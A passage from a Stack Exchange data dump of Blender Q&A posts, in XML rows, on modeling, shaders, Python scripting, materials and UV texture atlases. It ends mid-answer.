  <row Id="24085" PostTypeId="2" ParentId="14060" CreationDate="2015-02-01T14:59:40.420" Score="0" Body="&lt;p&gt;Install the addon called &quot;Avastar&quot; from: &lt;a href=&quot;http://blog.machinimatrix.org/avastar/&quot; rel=&quot;nofollow&quot;&gt;http://blog.machinimatrix.org/avastar/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avastar is a Blender Addon for making 3D Content for Second Life. Avastar supports the entire 3D production chain:&lt;/p&gt;&#xA;" OwnerUserId="11345" LastEditorUserId="29" LastEditDate="2015-02-01T18:20:32.850" LastActivityDate="2015-02-01T18:20:32.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24086" PostTypeId="2" ParentId="24078" CreationDate="2015-02-01T15:24:16.200" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;strong&gt;Edit Mode&lt;/strong&gt;, select all elements, make sure the current Pivot Point type is set to &lt;em&gt;Bounding Box Center&lt;/em&gt;, or simply press &lt;kbd&gt;,&lt;/kbd&gt; (comma), &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to Selected&lt;/em&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch back to &lt;strong&gt;Object Mode&lt;/strong&gt;,&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Object to 3D Cursor&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-02T02:54:48.403" LastActivityDate="2015-02-02T02:54:48.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24087" PostTypeId="1" AcceptedAnswerId="24201" CreationDate="2015-02-01T16:14:21.217" Score="4" ViewCount="1042" Body="&lt;p&gt;I have created a model and imported it into Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUCOW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All parts of the mesh use one and the same texture image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when load my blend file in Unity, each and every mesh part receives an individual shader / material slot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PsYkA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) that I have to re-assign the material in Unity (well, I guess, I will sooner or later find out why Unity does not use the correct material right away)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) that I would like to merge some parts into a single part (for example, &quot;Face&quot;, &quot;Legs&quot;, &quot;Arms&quot;, etc. should be a single object called &quot;Body&quot; since they will use the same shader)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me how I can do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="11252" LastActivityDate="2015-02-04T08:15:13.807" Title="Merging mesh parts that use the same texture and shader" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24088" PostTypeId="2" ParentId="24078" CreationDate="2015-02-01T16:35:54.763" Score="6" Body="&lt;p&gt;The way &lt;em&gt;origin to geometry&lt;/em&gt; works is it moves the origin to the &lt;em&gt;average location of all vertices&lt;/em&gt;.  So since your mesh has more vertices on the top than the bottom, the z-axis position of the new origin point will be closer to the top than the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, simply go into edit mode, select the eight vertices at the corners of the bounding box (I am assuming your model has some x-depth thickness, if not just select the four corners), and hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;cursor to selection&lt;/em&gt;.  Then go into object mode and select &lt;em&gt;origin to 3D cursor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-02-01T16:35:54.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24091" PostTypeId="2" ParentId="14191" CreationDate="2015-02-01T18:12:32.833" Score="2" Body="&lt;p&gt;Extending the sample shader linked by @NoviceInDisguise:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it works: the shader gets the rendered image as a texture its x/y coordinates range from 0 to 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distance from center is calculated by &lt;code&gt;sqrt(x*x+y*y) &amp;gt; .3&lt;/code&gt; to exclude a circular region from blur. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniform sampler2D bgl_RenderedTexture;&#xA;&#xA;void main(void)&#xA;{&#xA;  vec4 texcolor = texture2D(bgl_RenderedTexture, gl_TexCoord[0].st);&#xA;  float x =  gl_TexCoord[0].st.x - .5;&#xA;  float y =  gl_TexCoord[0].st.y - .5;   &#xA;&#xA;  if ( sqrt(x*x+y*y) &amp;gt; .3 ) { &#xA;       float value = 0.0015;&#xA;       vec4 color = texture2D(bgl_RenderedTexture, vec2(gl_TexCoord[0].st.x + value, gl_TexCoord[0].st.y + value)); // Sample area around current pixel&#xA;       color += texture2D(bgl_RenderedTexture, vec2(gl_TexCoord[0].st.x - value, gl_TexCoord[0].st.y - value));&#xA;       color += texture2D(bgl_RenderedTexture, vec2(gl_TexCoord[0].st.x + value, gl_TexCoord[0].st.y - value));&#xA;       color += texture2D(bgl_RenderedTexture, vec2(gl_TexCoord[0].st.x - value, gl_TexCoord[0].st.y + value));&#xA;       color /= 4.0;        &#xA;       gl_FragColor = color;&#xA;   }&#xA;   else {&#xA;       gl_FragColor =texcolor;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c7P0I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup: Add a Filter 2D configure it as &lt;em&gt;Custom Shader&lt;/em&gt; and select the above script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SI00a.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Sample render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: A decent blur needs to incorporate values from a 3x3, 5x5 or bigger matrix, the sample code only uses the left and right neighbor.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-01T18:12:32.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24093" PostTypeId="2" ParentId="18366" CreationDate="2015-02-01T19:23:56.940" Score="2" Body="&lt;p&gt;This is not possible in official blender at the moment, however this feature was &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2013/Documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;written as part of the 2013 GSOC&lt;/a&gt;.&lt;br&gt;&#xA;&lt;sub&gt;I haven't seen word of it since, so if someone knows why it hasn't been integrated with master yet, please tell me :P&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest you can get is the &lt;em&gt;Mesh&lt;/em&gt; collision shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WBJE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-01T19:23:56.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24094" PostTypeId="1" CreationDate="2015-02-01T19:30:19.513" Score="0" ViewCount="213" Body="&lt;p&gt;This is somewhat a follow-up to my earlier question asking how can I &lt;a href=&quot;https://blender.stackexchange.com/questions/23206/repurposing-vector-speed-render-layer-for-optical-flow&quot;&gt;get optical flow out of a Blender scene &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully achieved that goal by enabling vector output in the render layers, and saving the output as OpenEXR files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see that blender takes the liberty of thresholding the motion values so as to make &quot;stationary&quot; pixels 0. The problem is that blender's threshold is too high, and it also zeroes pixels with little motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TFHKW.png&quot; alt=&quot;Motion on a depth-rotating plane, as shown by the &amp;quot;vector&amp;quot; render layer of the OpenEXR file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph is the motion along a rotating plane turning in one direction.As the graph shoes, anything that's below 0.10 are assigned to 0, whereas in reality the values should form a continuous line starting from 0 (i.e. rotation axis), going to higher motion values (i.e. the edge of the plane). That means blender simply ignores smaller motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the computational necessity behind this. But is there a way to adjust this threshold (preferably using python interface)? I'm just losing too much information and I'm just not happy cropping everything below an arbitrary number that blender imposes.&lt;/p&gt;&#xA;" OwnerUserId="10989" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-01T19:30:19.513" Title="Accessing render layer properties in Python: Increasing &quot;vector&quot; output sensitivity" Tags="&lt;python&gt;&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24095" PostTypeId="1" CreationDate="2015-02-01T19:48:03.480" Score="1" ViewCount="1676" Body="&lt;p&gt;I made an intro, but when I render it the background shows up but the text doesn't. I fear I may have messed something up in the Compositor. What could cause this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click all images for full size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the render layers for my scene&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QcwiU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QcwiUm.png&quot; alt=&quot;This is the render layers for my scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compositor setup&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RVTnt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RVTntl.png&quot; alt=&quot;Compositor setup &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LjK6B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LjK6Bm.png&quot; alt=&quot;This is how it renders&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34160&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11348" LastEditorUserId="2217" LastEditDate="2015-02-02T18:04:55.280" LastActivityDate="2015-02-02T20:13:26.000" Title="Text doesn't show up in render" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24096" PostTypeId="1" CreationDate="2015-02-01T20:06:55.083" Score="0" ViewCount="29" Body="&lt;p&gt;My cube object is appearing pink. I want to paint on it but blender is saying that texture files are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I correct it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I need to import?&lt;/p&gt;&#xA;" OwnerUserId="11349" LastEditorUserId="241" LastEditDate="2015-06-25T13:41:49.313" LastActivityDate="2015-06-25T13:41:49.313" Title="Missing texture paint option in blender" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-01T22:07:25.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="24097" PostTypeId="1" AcceptedAnswerId="24100" CreationDate="2015-02-01T21:23:24.003" Score="1" ViewCount="707" Body="&lt;p&gt;I am working on an addon and I have a &lt;strong&gt;StringProperty&lt;/strong&gt; that is a &lt;strong&gt;File_Path&lt;/strong&gt;, you select the file and it reads the xml at the location. These string property's automatically use relative paths, so my code is if &quot;//&quot; is in the path it automatically uses &lt;code&gt;bpy.path.abspath&lt;/code&gt; on it to convert to an absolute path, but it dosesn't seem to be working right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .blend is in &lt;em&gt;D:\Pictures\3D Models\Models\file.blend&lt;/em&gt;&#xA;The file selected is at &lt;em&gt;D:\Pictures\main_car\file.xml&lt;/em&gt;&#xA;The output from the &lt;strong&gt;StringProperty&lt;/strong&gt; is &lt;em&gt;//..\..\main_car\file.xml&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this output is converted using &lt;code&gt;bpy.path.abspath&lt;/code&gt; it becomes:&#xA;&lt;em&gt;D:\Pictures\3D Models\Models\..\..\main_car\file.xml&lt;/em&gt;&#xA;not where the file actually is. It is like it isn't backing up far enough before it goes into the &lt;em&gt;main_car&lt;/em&gt; folder&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2015-02-01T22:25:26.203" Title="bpy.path.abspath is appears to be messing up" Tags="&lt;python&gt;&lt;scripting&gt;&lt;path&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24099" PostTypeId="1" CreationDate="2015-02-01T22:18:01.093" Score="6" ViewCount="7588" Body="&lt;p&gt;I have a .wmv file where the audio volume is too low.  I was able to edit two files into one and match the volume of two video files to the same volume using windows live movie maker, but not to increase the volume, the (edit as opposed to the playback) volume control is max'd out, I can go down in volume but not up.  Can Blender help me increase the playback volume of this video?&lt;/p&gt;&#xA;" OwnerUserId="11352" LastActivityDate="2019-05-17T07:40:07.883" Title="How do I increase the audio volume on a video" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24100" PostTypeId="2" ParentId="24097" CreationDate="2015-02-01T22:25:26.203" Score="3" Body="&lt;p&gt;As someonewithpc said, &lt;code&gt;..&lt;/code&gt; means one directory up. Thus,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\Pictures\3D Models\Models\..\..\main_car\file.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the same directory as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\Pictures\main_car\file.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;although the path is overly complicated (not cleaned up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can shorten it by &lt;code&gt;realpath()&lt;/code&gt; or &lt;code&gt;abspath()&lt;/code&gt; from &lt;code&gt;os.path&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;os.path.realpath(bpy.path.abspath(your_path))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-01T22:25:26.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24101" PostTypeId="2" ParentId="24000" CreationDate="2015-02-01T22:29:29.800" Score="15" Body="&lt;p&gt;Blender 2.75 now &lt;a href=&quot;https://developer.blender.org/rB64124ba904dcaac2bf029a55943282843b8a2603&quot; rel=&quot;noreferrer&quot;&gt;has a feature&lt;/a&gt; a tool to perform exactly this operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mesh &gt; Cleanup &gt; Split Concave Faces&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J8OUH.png&quot; alt=&quot;Example splitting ngons&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-07-21T10:40:34.793" LastActivityDate="2015-07-21T10:40:34.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24102" PostTypeId="2" ParentId="24050" CreationDate="2015-02-01T22:37:43.390" Score="4" Body="&lt;p&gt;You can can now access the pixel size with &lt;code&gt;bpy.context.user_preferences.system.pixel_size&lt;/code&gt; (&lt;a href=&quot;https://developer.blender.org/rB8350f7a587c7a6824f48f3edb936b49ce3462336&quot; rel=&quot;nofollow&quot;&gt;commit&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for retina scale or &lt;code&gt;bpy.context.user_preferences.system.virtual_pixel_mode&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-01T22:37:43.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24103" PostTypeId="2" ParentId="24035" CreationDate="2015-02-01T22:39:38.933" Score="1" Body="&lt;p&gt;You don't need to switch &lt;code&gt;pose_position&lt;/code&gt;, because &lt;code&gt;tail&lt;/code&gt;, &lt;code&gt;head&lt;/code&gt;, &lt;code&gt;matrix&lt;/code&gt; and so on are not affected by keyframed poses if you access the Armature data (&lt;code&gt;Object.data.bones[#]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you access the pose data however (&lt;code&gt;Object.pose.bones[#]&lt;/code&gt;), the properties will change based on the current frame.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-01T22:39:38.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24104" PostTypeId="1" AcceptedAnswerId="24109" CreationDate="2015-02-01T22:47:14.427" Score="5" ViewCount="2195" Body="&lt;p&gt;I made a 3D scan of one of my wife's sculptures, but I'm having trouble closing off the open ends. I want something sculptural (positive curvature in some places, negative in others), but how to close the shape for further digital sculpting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmvC0.png&quot; alt=&quot;Top part of my wife&amp;#39;s &amp;quot;Female Vessel #1&amp;quot; sculpture.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11353" LastEditorUserId="3710" LastEditDate="2015-02-02T12:36:49.733" LastActivityDate="2015-11-22T21:47:31.877" Title="How to close an open manifold?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24105" PostTypeId="2" ParentId="23948" CreationDate="2015-02-01T23:58:51.003" Score="2" Body="&lt;p&gt;it is a weight paint error , i've checked the file and the part that is not moving has no parent , So &lt;br/&gt;&#xA;-re-parent the whole mesh with &quot;envelope or automatic weight &quot; &lt;br/&gt;&#xA;if it doesn't work :&lt;br/&gt;&#xA;-go to weight paint mode and do it manually&lt;br/&gt;&#xA;or :  &lt;br/&gt;&#xA;-add theme to the vertex group with the bone name&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-01T23:58:51.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24106" PostTypeId="1" AcceptedAnswerId="24114" CreationDate="2015-02-02T04:10:07.410" Score="3" ViewCount="596" Body="&lt;p&gt;I have a noise modifier on a scaling action on a cube. I want to adjust the scale, strength and phase settings of the modifier, for all three axes of the action, with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add the modifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;bpy.context.area.type = 'GRAPH_EDITOR'&#xA;bpy.ops.graph.fmodifier_add(type='NOISE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't figure out how to access the modifier settings for scale, strength and phase. &lt;/p&gt;&#xA;" OwnerUserId="11358" LastEditorUserId="29" LastEditDate="2015-02-03T08:11:15.710" LastActivityDate="2015-02-04T10:52:04.897" Title="Fcurve noise modifier: change settings with python" Tags="&lt;python&gt;&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24107" PostTypeId="1" CreationDate="2015-02-02T04:21:09.900" Score="1" ViewCount="326" Body="&lt;p&gt;Context: I'm using the blender python api to create meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have sets of three points, and a face, which can be at any angle, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;points = [[0.0, 1.28, 0.64], [1.28, 1.28, 0.64], [1.28, 0.0, 0.64]]&#xA;faces = [(0, 1, 2)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the custom file format I'm trying to parse does not provide an explicit sister face definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to calculate a fourth point that is the second point mirrored over the first and last points in 3-space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to straight up calculate that point; but I am open to using a workaround that leverages the blender api, like centering the cursor between the first and third point, selecting and duplicating the face, and rotating it 180 degrees relative to the face's normal, or some such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I've produced to date is here: &lt;a href=&quot;https://github.com/thorsummoner/crowbar/blob/11c1d4a2e74de58900e81da4dfd635719f7241e0/bpy_vmf.py&quot; rel=&quot;nofollow&quot;&gt;Github Permalink&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3038" LastEditorUserId="2217" LastEditDate="2015-02-02T05:11:05.113" LastActivityDate="2015-02-02T05:11:05.113" Title="Reflect point over vector" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24108" PostTypeId="1" AcceptedAnswerId="26469" CreationDate="2015-02-02T04:56:44.443" Score="6" ViewCount="4951" Body="&lt;p&gt;I'm looking for a precise way to measure angles in blender.  The ruler/protractor tool is very limited with the snap to vertex frequently failing in edit mode and only showing two digits beyond the decimal point when it does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any addons that will let me do something like select two points and measure their angle relative to the 3D cursor?&#xA;(preferably with the ability to attain more than two significant figures beyond the decimal point - somewhere beyond 6-8 would be ideal, but even just a smoother workflow than that damned ruler/protractor tool built into Blender would be amazing to have)&lt;/p&gt;&#xA;" OwnerUserId="11360" LastEditorUserId="3401" LastEditDate="2015-02-02T12:19:15.090" LastActivityDate="2015-03-01T18:08:44.507" Title="Quick and Precise Angle Measurement in Blender?" Tags="&lt;measurement&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24109" PostTypeId="2" ParentId="24104" CreationDate="2015-02-02T07:10:28.143" Score="6" Body="&lt;p&gt;You could select the edges on the border using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB &lt;a href=&quot;https://i.stack.imgur.com/Vyq6s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vyq6s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;. Press space to show the popup menu and type &lt;em&gt;Grid Fill&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fy1YO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the filled area flat you can scale the z-axis &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xy9rM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to edit a high poly mesh in Blender created by sculpting or importing 3D-scans usually retopology is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2903/how-should-i-handle-a-split-in-a-retopology&quot;&gt;How should I handle a split in a retopology?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/18203/is-there-a-way-to-rescue-mesh-that-has-very-bad-topology/18204#18204&quot;&gt;Is there a way to &amp;quot;rescue&amp;quot; mesh that has very bad topology?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-11-22T21:47:31.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24110" PostTypeId="1" AcceptedAnswerId="24148" CreationDate="2015-02-02T07:38:48.327" Score="9" ViewCount="27727" Body="&lt;p&gt;A glass-shader produces a render like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U94za.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a transparent shader creates  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTkok.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdiRA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the border labeled as 1 come from? Why is the outer region (2) more translucent than transparent?&#xA;Not sure this is a material or lighting issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34153&quot; rel=&quot;noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With out a subsurf modifier it looks terrible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqpKo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried several values from the IOR range 'Glass': 1.440 - 1.900&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the upper edges and bottom are beveled.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-02T13:03:29.297" LastActivityDate="2015-06-16T01:44:57.663" Title="How should a glass material be setup in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24111" PostTypeId="1" AcceptedAnswerId="24112" CreationDate="2015-02-02T07:59:13.837" Score="5" ViewCount="1844" Body="&lt;p&gt;i want to make buildings in blender and export it to unity , i want the draw calls and texture space to be as low as possible so  so what i do is i will put tiled textures on side of buildings (because they can be high rise buildings) but  i want to make a texture atlas for buildings roofs and other smaller parts , so my question is how can i make one big texture for my smaller parts of building like roofs and use  tile texture for the building sides should i make 1 uv map for roofs and 1 for each building tiling texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a picture to clarify &#xA;&lt;img src=&quot;https://i.stack.imgur.com/sMn0z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to use differrent shaders too&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CB1IN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="11305" LastEditDate="2015-02-02T09:55:57.287" LastActivityDate="2015-04-24T16:01:10.773" Title="making texture atlas for only some part of objects" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24112" PostTypeId="2" ParentId="24111" CreationDate="2015-02-02T08:41:48.523" Score="7" Body="&lt;p&gt;If you mean like the following&lt;img src=&quot;https://i.stack.imgur.com/I3b13.gif&quot; alt=&quot;enter image description here&quot;&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, select all the faces in Edit mode and press &lt;kbd&gt;u&lt;/kbd&gt;.  This opens the UV Mapping dialogue.  Select the very bottom entry which is 'Reset'.  This will pack all the quads tightly and they will be overlapped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I said to select everything to start with is because the tools will act on all faces when a new uv layer is first being created.  They tend to ignore selections on the first pass so you can just unwrap everything as a group and then work on them individually afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now, make sure everything is selected and move this block of faces out of the 0-1 UV space so you can work on the faces that will be non-repeating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select one of the roof top pieces and use Select Similar-&gt; Normals &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt;.  This should select every face that is facing upwards since they have similar normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now access UV 